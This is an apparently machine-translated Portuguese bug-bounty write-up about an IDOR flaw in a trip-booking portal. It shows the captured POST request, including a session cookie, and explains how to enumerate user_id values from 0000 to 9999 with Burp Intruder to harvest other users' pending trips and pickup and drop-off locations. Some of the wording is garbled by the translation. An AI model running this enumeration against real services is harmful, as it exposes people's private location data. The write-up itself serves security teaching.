IDOR Divulga Informações de Viagem Pendente de Usuário | Parte 01

Dec 02 2022
Olá Amazing Hackers e entusiastas de segurança, hoje vou escrever sobre algo muito importante. Identificar bugs de IDOR que levam a aquisições completas de contas sem interação do usuário é meu primeiro bug de IDOR.

Olá Amazing Hackers e entusiastas de segurança, hoje vou escrever sobre algo muito importante. Identificar bugs de IDOR que levam a aquisições completas de contas sem interação do usuário é meu primeiro bug de IDOR.

Vamos fazer algumas informações sobre o IDOR antes de pular no bug

IDOR (referências de objeto direto inseguras)

As referências inseguras de objetos diretos (IDOR) são um tipo de vulnerabilidade de controle de acesso que surge quando um aplicativo usa entrada fornecida pelo usuário para acessar objetos diretamente. As vulnerabilidades IDOR são mais comumente associadas à escalação horizontal de privilégios, mas também podem surgir em relação à escalação vertical de privilégios.

Então, vamos chamar o alvo de target.com. Comecei com o Recon no domínio principal. Agora, depois do Recon, comecei a entender como o aplicativo funciona. Basta abrir o Burp. e comece a analisar o aplicativo como ele funciona, como ele processa a solicitação, veja quais métodos são permitidos. analise o código-fonte para qualquer chave de API secreta, ou qualquer token ou endpoints.

Eu procuro e uso algumas funcionalidades como atualizar perfil, carregar imagem de perfil e alterar senha sem senha antiga e monitorar cada solicitação e resposta usando arroto.

Bug 01: IDOR divulga informações de viagem pendentes do usuário .

Eu agendo uma viagem e depois faço uma solicitação para obter informações sobre a minha viagem. então o pedido parece

/target-dev/index.php/UserPortal/Trip/tripListByUser

Solicitar aparência

POST /targetservice-dev/index.php/UserPortal/Trip/tripListByUser HTTP/1.1

Host: app.target.com

Cookie: _ga_4FPFRN1P35=GS1.1.1669338233.4.0.1669338233.0.0.0; _ga=GA1.1.749545081.1669213744; bfp_sn_rf_b10ce94cf299b167b74a6944e0aec9d4=Direto; bfp_sn_rt_b10ce94cf299b167b74a6944e0aec9d4=1669215441778; ci_session=4rk74md1hpc0hrac5dfv3li2av

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Aceitar: application/json, text/plain, */*

Aceitar idioma: en-US,en;q=0,5

Aceitar codificação: gzip, deflate

Tipo de conteúdo: application/x-www-form-urlencoded

Comprimento do conteúdo: 59

Origem: https://app.target.com

Referer: https://app.target.com/target-user-portal/

Sec-Fetch-Dest: vazio

Sec-Fetch-Mode: cors

Sec-Fetch-Site: mesma origem

Te: reboques

Conexão: fechar

{“user_id”:”1654”,”status”:”pendente”,” T ARGETAUTHKEY”:8342}

Agora observe as duas coisas: a primeira é T ARGETAUTHKEY e a segunda é “user_id”:”1654".

envie esta solicitação ao repetidor e veja a resposta que você obtém as informações sobre as informações de viagem pendentes.

Agora, depois disso, envie a solicitação para o intruso e a força bruta do “user_id” e a carga útil é Number Start de 0000 a 9999 e a sequência é 1. Clique em Start Attack. E liste a solicitação e a resposta no tamanho Booom, você obtém outras informações de viagem pendentes do usuário, divulgando o ID do usuário e o local de escolha e entrega do usuário.

Resposta semelhante

{“user_id”:”418”,”status”:”pending”,”LOADMEEAUTHKEY”:8012, Trip_Id:XXXX, Tripe_location: “user pick data”, Tripe_destination: “trip drop location”, Essitemate_total:35000}

E então esta resposta revela as duas coisas

  1. registrar ID de usuário e localização
  2. Dados da viagem

Happy Hacking